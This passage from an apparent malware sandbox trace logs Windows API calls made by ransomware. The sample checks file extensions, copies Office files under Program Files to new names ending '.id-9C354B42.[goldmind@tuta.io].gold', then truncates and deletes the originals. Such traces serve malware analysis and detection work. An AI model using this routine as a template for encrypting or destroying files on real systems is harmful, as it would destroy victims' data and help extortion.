returned 110 [0038.163] lstrlenW (lpString=".doc") returned 4 [0038.163] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".docx") returned 5 [0038.163] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.163] lstrlenW (lpString=".pdf") returned 4 [0038.163] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".xls") returned 4 [0038.163] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".xlsx") returned 5 [0038.163] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.163] lstrlenW (lpString=".ppt") returned 4 [0038.163] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString=".zip") returned 4 [0038.163] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.163] lstrlenW (lpString=".rar") returned 4 [0038.163] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".bz2") returned 4 [0038.163] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.163] lstrlenW (lpString=".7z") returned 3 [0038.163] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.163] lstrlenW (lpString=".dbf") returned 4 [0038.163] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.164] lstrlenW (lpString=".1cd") returned 4 [0038.164] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0038.164] lstrlenW (lpString=".jpg") returned 4 [0038.164] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.164] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.164] lstrlenW (lpString="SETUP.XML") returned 9 [0038.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.759] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4207) returned 1 [0039.759] CloseHandle (hObject=0x1fc) returned 1 [0039.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0039.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.759] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.759] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.760] GetLastError () returned 0x0 [0039.760] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x106f, lpOverlapped=0x0) returned 1 [0039.764] WriteFile (in: hFile=0x178, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0039.765] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.765] WriteFile (in: hFile=0x178, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.765] SetEndOfFile (hFile=0x178) returned 1 [0039.766] CloseHandle (hObject=0x178) returned 1 [0039.766] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.766] SetEndOfFile (hFile=0x1fc) returned 1 [0039.767] CloseHandle (hObject=0x1fc) returned 1 [0039.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.767] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.767] lstrlenW (lpString=".doc") returned 4 [0039.768] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".docx") returned 5 [0039.768] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.768] lstrlenW (lpString=".pdf") returned 4 [0039.768] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".xls") returned 4 [0039.768] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".xlsx") returned 5 [0039.768] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.768] lstrlenW (lpString=".ppt") returned 4 [0039.768] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString=".zip") returned 4 [0039.768] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.768] lstrlenW (lpString=".rar") returned 4 [0039.768] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".bz2") returned 4 [0039.768] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".7z") returned 3 [0039.768] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString=".dbf") returned 4 [0039.768] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString=".1cd") returned 4 [0039.768] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString=".jpg") returned 4 [0039.768] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString=".doc") returned 4 [0039.768] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".docx") returned 5 [0039.768] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.768] lstrlenW (lpString=".pdf") returned 4 [0039.768] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".xls") returned 4 [0039.768] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".xlsx") returned 5 [0039.768] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.768] lstrlenW (lpString=".ppt") returned 4 [0039.768] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.768] lstrlenW (lpString=".zip") returned 4 [0039.768] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.768] lstrlenW (lpString=".rar") returned 4 [0039.768] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".bz2") returned 4 [0039.768] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.768] lstrlenW (lpString=".7z") returned 3 [0039.768] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.769] lstrlenW (lpString=".dbf") returned 4 [0039.769] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.769] lstrlenW (lpString=".1cd") returned 4 [0039.769] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0039.769] lstrlenW (lpString=".jpg") returned 4 [0039.769] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.769] lstrcmpiW (lpString1=".emf", lpString2=".gold") returned -1 [0039.769] lstrlenW (lpString="Genko_2.emf") returned 11 [0039.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.666] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=10340) returned 1 [0040.666] CloseHandle (hObject=0x1f4) returned 1 [0040.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0040.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.666] lstrlenW (lpString=".doc") returned 4 [0040.667] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0040.667] lstrlenW (lpString=".docx") returned 5 [0040.667] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0040.667] lstrlenW (lpString=".pdf") returned 4 [0040.667] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString=".xls") returned 4 [0040.667] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString=".xlsx") returned 5 [0040.667] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0040.667] lstrlenW (lpString=".ppt") returned 4 [0040.667] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString=".zip") returned 4 [0040.667] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString=".rar") returned 4 [0040.667] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString=".bz2") returned 4 [0040.667] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0040.667] lstrlenW (lpString=".7z") returned 3 [0040.667] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString=".dbf") returned 4 [0040.667] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString=".1cd") returned 4 [0040.667] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString=".jpg") returned 4 [0040.667] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString=".doc") returned 4 [0040.667] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0040.667] lstrlenW (lpString=".docx") returned 5 [0040.667] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0040.667] lstrlenW (lpString=".pdf") returned 4 [0040.667] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString=".xls") returned 4 [0040.667] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString=".xlsx") returned 5 [0040.667] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0040.667] lstrlenW (lpString=".ppt") returned 4 [0040.667] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0040.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.667] lstrlenW (lpString=".zip") returned 4 [0040.668] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0040.668] lstrlenW (lpString=".rar") returned 4 [0040.668] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0040.668] lstrlenW (lpString=".bz2") returned 4 [0040.668] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0040.668] lstrlenW (lpString=".7z") returned 3 [0040.668] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0040.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.668] lstrlenW (lpString=".dbf") returned 4 [0040.668] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0040.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.668] lstrlenW (lpString=".1cd") returned 4 [0040.668] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0040.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0040.668] lstrlenW (lpString=".jpg") returned 4 [0040.668] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0040.668] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.668] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.911] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=34916) returned 1 [0040.911] CloseHandle (hObject=0x200) returned 1 [0040.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0040.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.912] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.912] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.919] GetLastError () returned 0x0 [0040.919] ReadFile (in: hFile=0x200, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x8864, lpOverlapped=0x0) returned 1 [0040.960] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0040.961] ReadFile (in: hFile=0x200, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.961] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.961] SetEndOfFile (hFile=0x1fc) returned 1 [0040.961] CloseHandle (hObject=0x1fc) returned 1 [0040.962] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.962] SetEndOfFile (hFile=0x200) returned 1 [0040.963] CloseHandle (hObject=0x200) returned 1 [0040.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.963] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString=".doc") returned 4 [0040.964] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString=".docx") returned 5 [0040.964] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.964] lstrlenW (lpString=".pdf") returned 4 [0040.964] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString=".xls") returned 4 [0040.964] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.964] lstrlenW (lpString=".xlsx") returned 5 [0040.964] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.964] lstrlenW (lpString=".ppt") returned 4 [0040.964] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString=".zip") returned 4 [0040.964] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.964] lstrlenW (lpString=".rar") returned 4 [0040.964] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.964] lstrlenW (lpString=".bz2") returned 4 [0040.964] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString=".7z") returned 3 [0040.964] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString=".dbf") returned 4 [0040.964] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString=".1cd") returned 4 [0040.964] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString=".jpg") returned 4 [0040.964] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.964] lstrlenW (lpString=".doc") returned 4 [0040.964] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString=".docx") returned 5 [0040.964] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.964] lstrlenW (lpString=".pdf") returned 4 [0040.964] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.964] lstrlenW (lpString=".xls") returned 4 [0040.964] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.965] lstrlenW (lpString=".xlsx") returned 5 [0040.965] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.965] lstrlenW (lpString=".ppt") returned 4 [0040.965] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.965] lstrlenW (lpString=".zip") returned 4 [0040.965] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.965] lstrlenW (lpString=".rar") returned 4 [0040.965] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.965] lstrlenW (lpString=".bz2") returned 4 [0040.965] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.965] lstrlenW (lpString=".7z") returned 3 [0040.965] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.965] lstrlenW (lpString=".dbf") returned 4 [0040.965] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.965] lstrlenW (lpString=".1cd") returned 4 [0040.965] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0040.965] lstrlenW (lpString=".jpg") returned 4 [0040.965] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.965] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.965] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.965] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3479) returned 